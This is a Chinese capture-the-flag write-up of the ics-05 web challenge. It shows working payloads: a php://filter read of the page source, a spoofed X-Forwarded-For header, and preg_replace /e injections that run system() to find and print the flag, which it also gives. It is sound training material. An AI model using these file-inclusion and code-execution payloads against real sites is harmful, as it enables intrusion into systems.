攻防世界web之ics-05

本文借鉴以下两篇文章的指导

https://www.jianshu.com/p/5a502873635b

https://blog.csdn.net/about23/article/details/95349625

全部点击一遍,只有这个可以有其他界面

题目描述是 “其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统”

在后面添加login.php 无果,御剑扫描也无结果,源码也找不到其他东西

再次点击上面的“云平台设备维护中心”,URL栏有参数?page=index  存在get传值

page的参数联想到可能存在文件包含漏洞

引用上面的文章内容

LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞

输入数字没啥用,尝试读取index.php的源码,采用php伪协议


?page=php://filter/read=convert.base64-encode/resource=index.php

为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)
输入payload得到一段base64

 

然后解码,分析源码

 

伪造XFF头来登入系统,同时利用preg_replace函数的漏洞

preg_replace( pattern , replacement , subject ) :

当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
于是构造payload

/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123

”+“号在url中会被解释成空格号,这里用%20也行

用burpsuite来设置XFF头

 

继续查看   %26被url解释成&号   用来连接命令

&& 前面命令为假直接报错,后面语句不执行(前面命令执行成功,后面的命令也执行)

index.php?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123

 

 最后的payload

index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123

得flag

cyberpeace{a3f41e3943e9bd48b8084b29e4b27182}



原文地址:https://www.cnblogs.com/gaonuoqi/p/11386346.html